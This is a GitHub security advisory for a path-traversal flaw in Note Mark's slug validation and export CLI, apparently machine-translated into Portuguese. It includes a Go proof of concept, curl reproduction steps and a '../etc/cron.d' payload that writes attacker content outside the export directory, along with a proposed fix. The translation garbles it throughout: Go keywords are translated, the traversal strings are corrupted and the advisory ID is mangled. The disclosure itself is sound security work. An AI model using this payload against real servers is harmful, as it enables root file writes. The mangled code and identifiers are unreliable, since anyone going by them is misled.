Nota Marca valida os valores do livro e nota `slug` com a etiqueta `patern' do OpenAPI/huma:"[a-z 0 - 9 -]+"`. huma compila isso com `regexp.MustCompile(s.Pattern)` e testa- o com `patternRe.MatchString(str)`, uma combinação UNANCHORED. Porque o padrão não está ancorado (`^...$`), qualquer string que apenas CONTAINE um `[a-z 0 - 9 -]` substring passa validação. Um slug como `../../../../../../tmp/ escape` é aceito e armazenado literalmente. Os comandos CLI de exportação de dados (`note-mark migration export` e `note-mark migration export-v 1 `) junte- se a estes slugs não- saneados diretamente ao caminho de saída com `path.Junte- se` / `filepath.Junte- se`, em seguida `os.MkdirTodos` o diretório e `os. Crea` o arquivo de notas. `path.Junte- se` resolve os segmentos `../`, então o arquivo de conteúdo de notas é escrito OUTSIDE o diretório de exportação configurado. O processo de exportação é comumente executado como root (por omissão no uso do Docker / nude- metal), por isso este é um diretório arbitrário root-privilege criar + gravação de arquivo. Este é o irmão não protegido do GHSA-g 49 p-. 4 qxj- 88 v 3 (CVE classe CWE- 22 no mesmo isqueiros de exportação). Essa correção adicionou `filepath.Base(asset.Name) ' para sanear o nome do arquivo do ativo, mas os componentes do caminho adjacente `book.Slug` e `note.Slug` — usados no mesmo `path.Join` chamadas nas mesmas duas funções de exportação — foram deixados em bruto, e a guarda de 'pattern' do lado de entrada é contornável como mostrado acima. Validação de entrada de lima (`backend/db/types.go`, v 0.19.4 ). ````go type CreateBook struct { Chave de nome `json:"name" requerida:"verdadeira" minLongura:" 1 " Lungura máxima:" 80 "` Corda de lima `json:"luga" necessária:"verdadeira" minLongura:" 1 " Lungura máxima:" 80 " padrão:"[a-z 0 - 9 -]+"` IsPublic bool `json:" isPublic, omitvay" padrão:"false"` }.
digite CriarNota estrutura { Chave de nome `json:"name" necessário:"verdadeiro" minLongura:" 1 " Lungura máxima:" 80 "` Corda de lima `json:"luga" necessária:"verdadeira" minLongura:" 1 " Lungura máxima:" 80 " padrão:"[a-z 0 - 9 -]+"` } ``` huma aplica o padrão UNANCHORED (` github.com/danielgtaylor/huma/v 2 @ v 2.37.3 `). ``` go // schema.go se s.Pattern!= "" { s.paternRe = regexp.MustCompile(s.Pattern) `` `` `go // validar.go se s. patternRe!= nul { se!s. patternRe.MatchString(str) { res.Add(path, v, s.msgPattern) `` `regexp.MatchString("[a-z) 0 - 9 -]+", ".././.././tmp/ escape")` é "verdadeiro" (que corresponde à substângula `tmp`), então os passes de lima transversal e `BooksService.CrearLivro` / `NotesService` armazenam-no literalmente.
Exportar pilhas (`backend/cli/migrate.go`, v 0.19.4 ). O nome do arquivo do ativo foi desinfectado pelo GHSA-g 49 p corrigir; os componentes do caminho de lima do irmão não foram: ``` go // comandoMigrateExportDataV 1 / comandoMigrateExportData for _, book:= range user.Books { bookDir:= path.Join(exportDir, user.nome do usuário, book.Slug) // book.Slug raw for _, note:= range book.Notas { noteDir:= path.Join(bookDir, note.Slug) // note.Slug raw se err:= os.MkdirAll( noteDir, os.ModePerm); errr!= nil { retornar err } f, errr:= os.Create( path. Join( noteDir, "_index.md")) // escapes exportDir ```````) ```go // as mesmas funções DO sanitize the sime frameability asset name: assetFileName:= filepath.Base(asset.Name) if assetFileName == "/""AssetName==." { log.Printf("desabilitado asset filename ached '%s', skipping\n", asset.Name) continue } f, err:= os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName)) ```` Um usuário autêntico de baixa prioridade (qualquer conta registrada que possa criar um livro/nota) estabelece um 'slug' que atravessa. Quando um administrador executa mais tarde `note-mark migrar exportação` ou `export-v 1 ` (uma operação de backup/ migração de rotina, comumente como raiz no Docker), o exportador cria diretórios de atacante- escolhidos e escreve o `_index. md` da nota para uma localização arbitrária do sistema de arquivos fora do diretório de exportação. Com root, isto permite gravar para `/etc/ cron.d/`, diretórios unitários systemd ou outros caminhos de inicialização, aumentando para a execução de código como root. Mesma classe de confiança e de gravidade do GHSA-g 49 p-. 4 qxj- 88 v 3.
1. O atacante registra/ usa qualquer conta de usuário normal. 2. Atacador `POST / api/books` (ou uma nota) com `slug` = `../.././././../././etc/ cron.d/x` (passa o `[a-z' não ancorado 0 - 9 -]+` padrão). Armazenado na íntegra. 3. Administração executa ` nota-marca migrar exportação- v 1 --export- dir / data/ backup` (root). 4. Exportador faz `path. Join("/data/backup", nome de usuário, ".././././.././etc/cron.d/x")` que produz `/etc/cron.d/x`, então `os.MkdirAll` cria e `os.Create(path. Join(noteDir, "_index.md")` escreve conteúdo influenciado pelo atacante fora `/data/backup`. Reprodutor Go contido auto- contido pinning `huma v 2.37.3 ` (Versão exata do Nota Marca) e a expressão exata do Nota Marca "CreateBook" DTO + a expressão exata de exportação `path. Join'. Ele demonstra (a) o slug transversal passa validação de huma, (b) um controle negativo que viola genuinamente o conjunto de caracteres é rejeitado, (c) o lavatório de exportação escreve o arquivo fora da raiz de exportação. `` `go // go.mod: módulo nmpoc; go 1.24; requere github.com/ danielgtaylor/huma/v 2 v 2.37.3 pacote principal importar ( "contexto" "fmt" "net/http" "net/http/httptest" "os" "caminho" "cadeias". "github.com/danielgtaylor/huma/v 2 " " github.com/danielgtaylor/huma/v 2 /adaptadores/humago" ).
// Espelho da infra- estrutura de marca de notas/ db/ types.go: 24 - 28 Criar um DTO do Livro em v 0.19.4. digite Criar um livro estrutura { Chave de nome `json:"name" necessário:"verdadeiro" minLongueza:" 1 " Lungura máxima:" 80 "` Corda de lima `json:"luga" necessária:"verdadeira" minLongura:" 1 " Lungura máxima:" 80 " padrão:"[a-z 0 - 9 -]+"` IsPublic bool `json:" isPublic,omitvay" padrão:"false"` } tipo CriarLivroInput struct{ Corpo CriarLivro } tipo CriarLivroSaída struct { Corpo estrutura { Corpo string Slug `json:"slug"` } } func main() { mux:= http.NewServeMux() api:= humago.New( mux, huma.DefaultConfig("note-mark-poc", " 1.0.0 ")) var string human.Registry(api, huma. Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"}, func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) { armazenado = in.Corpo.Slug // BooksService.CreateBook book books slove slug textual out:= &CreateBookOutput{} out.Body.Slug = in.Corpo.Slug retorna, nil }) const travessalSlug = `../../../.././tmp/nmpoc-escape` corpo:= fmt.Sprintf(`{"nome":"x","slug":%q}`, travesalSlug) req:= httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body) req.Header.Set("Tipo de Conteúdo", "application/json") rec:= httptest.NewRecorder() mux.ServeHTTP(rec, req) fmt.Printf("[validação] slug=%q status=%d stored=%q\n", travessalSlug, rec.code, stored) // Controle negativo: uma bala com NO [a- z 0 - 9 -] char em qualquer lugar deve ser rejeitado. negReq:= httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"nome":"x","slug":"@@@@"}`)) negReq.Header.Set("Tipo de Conteúdo", "application/json") negRec:= httptest.NewRecorder() mux.ServeHTTP(negRec, negReq) fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (espectativa 422 )\n", negRec.Code).
// Exportar a expressão do lavatório do backend/cli/migrate.go: 187,191,203. exportDir:= "/ tmp/nmpoc-exportroot" _ = os.RemoverAll(exportDir) _ = os.RemoverAll("/ tmp/nmpoc-escape") _ = os.MkdirAll(exportDir, 0 o 755 ) bookDir:= path.Join(exportDir, "victim", armazenado) noteDir:= path.Join(bookDir, "n") _ = os.MkdirAll(noteDir, 0 o 755 ) outPath:= caminho.Junte-se(noteDir, "_index.md") _ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0 o 644 ) escapou:=!strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/") fmt.Printf("[export] join=%q escapouExportDir=%v\n", outPath, escapou) se d, err:= os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == null { fmt.Printf("[export] SENTINEL escrito outsside exportDir =>%q\n", strings.TrimSpace(string(d)))} } Saída verbal (` ir executar.`, huma v 2.37.3, vai 1.26.1 ). ``` [validação] slug="../../../../../../tmp/nmpoc-escape" status= 200 armazenado="../../../../.././tmp/nmpoc-escape" [neg-control] slug="@@@" status= 422 (espectar 422 ) [export] uni="/tmp/nmpoc- escape/n/_index.md" escapouExportDir=verdadeiro [export] SENTINEL escrito EXTRADITOR ExportaçãoDir => "PWNED-NOTE-CONTENT" ``` A lima transversal é ACEPTADA (estatus 200 ) enquanto o controle negativo é rejeitado corretamente ( 422 ) e o `path. Join` de exportação escreve o arquivo de notas fora da raiz de exportação. ## Reprodução de ponta a ponta. Contra a imagem lançada `ghcr.io/ enchant 97 /note-mark-aio: 0.19.4 ` (o GHSA- g) 49 p corrigir a liberação:.
````bash # 1. iniciar o docker run - d -- name nm - p 8080: 8080 -e JWT_SECRET="$(openssl rand -base 64 32 )" \ -e PUBLIC_URL=" 8080 " ghcr.io/ encanta 97 /note-mark-aio: 0.19.4 # 2. registro + login (captura de cookie de Auth-Session-Token) curl -s -X POST localhost: 8080 /api/ users -H 'Content-Type: app/json' \ -d '{"username":"ataque","password":"Ataque 3 "R!","nome":"a"}' TOKEN=$(curl -s -D - -X POST localhost: 8080 /api/auth/ token -H 'Tipo de conteúdo: aplicativo/json' \ -d '{"nome de usuário":"ataque","palavra de passe":"Ataque 3 r!","grant_type":"password"}' \. sed - n 's/.* Auth- Session- Token=\([^;]*\).*/\ 1 /p') # 3. criar um livro com uma lima que atravessa — passa o [a-z 0 - 9 -]+ padrão de enrolamento -s -X POST localhost: 8080 /api/books -H 'Content-Type: app/json' \ -b "Auth- Session-Token=$TOKEN" \ -d '{"nome":"x","slug":"...././././././././tmp/nmpoc-escape"}' A resposta do # ecoa "slug":"..../././././././././/tmp/nmpoc-escape" (aceitada, 200 / 201 ) # 4. adicionar uma nota abaixo desse livro (qualquer nota válida), em seguida, ativar o docker docker export exec nm / note-mark migrar export- v 1 --export- dir / data/ backup # 5. observe a nota _index. md escrita fora /data/backup docker execut nm ls -la /tmp/ nmpoc- escape/ `` O reprodutor Go contido acima é a demonstração determinística, com a versão pinada da validação do bypass + fuga do lavatório (não requer a compilação completa da imagem). Aplicar `filepath.Base()` (o mesmo idioma já usado para `asset.Name` no GHSA-g 49 p corrigir) para os componentes do caminho de lima do irmão em ambas as funções de exportação, e/ou rejeitar o resultado se ele diferir do valor bruto: ``` go bookSlug:= filepath.Base(book.Slug) noteSlug:= filepath.Base(note.Slug) se bookSlug!= book.Slug.Slug.NoteSlug!= note.Slug { log.Printf("desallowed slug found, sauping book=%q note=%q\n", book.Slug, note.Slug) continue } bookDir:= path.Join(exportDir, user.nome do usuário, bookSlug) noteDir:= path.Join(bookDir, noteSlug) ````.
Causa raíz (preferido): ancorar o padrão de lima na camada de entrada para que a travessia nunca possa entrar no DB. Mudar a etiqueta para um "pattern" de regex ancorado:"^[a-z 0 - 9 -]+$"`, ou rejeitar `strings.Contém qualquer(slug, "/\\.")` nos manipuladores de criação/actualização (melodiando a verificação do cabeçalho ` PostNoteAsset` adicionada pelo GHSA-g 49 p). ` user. Username` (` pattern:"[a-zA-Z 0 - 9 ]+"`) também não está ancorado e deve ser ancorado pela mesma razão. `<= v 0.19.4 ` (atualmente, a última versão). Os componentes de lima são usados insatisfeitos em `backend/cli/migrate.go` at v 0.19.4, a versão que conserta o irmão `asset.Name` transversal (GHSA-g) 49 p-. 4 qxj- 88 v 3 ). Uma correção é preparada no garfo de aconselhamento privado temporário: ` encantar 97 /note-mark-ghsa- rqrh- 8 wpv-x 7 hh` PR # 1. Ele ancora as etiquetas `patern` do nome de usuário/lug (`^[a-z) 0 - 9 -]+$` / `^[a-zA-Z 0 - 9 ]+$`) na camada de entrada e adiciona `filepath.Base()` de defesa em profundidade cheques para ambas as funções de exportação, além de um teste de regressão. ` go test./ backend/ db/` passa com a correção e falha contra o antigo padrão não anclado.
Reportado por tongharoot. Registro de aconselhamento: GHSA- rqrh- 8 wpv-x 7 - Não, não, não, não. Identificadores relacionados: CVE- 2026 - 50553. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 09 T 13: 41: 35.000 Z e lista a sua última modificação como 2026 - 07 - 09 T 13: 41: 35.000 Z.
Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/África do Sul:N. Software afetado e informações de versão: Vá para o pacote github.com/enchant 97 /note-mark/backend — ECOSISTEM: introduzido 0, corrigido 0.0.0 - 20260601210719 - 67 b 7 de 04308 a. Classificação e evidência: identificadores de fraqueza CWE- 20, CWE- 22. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.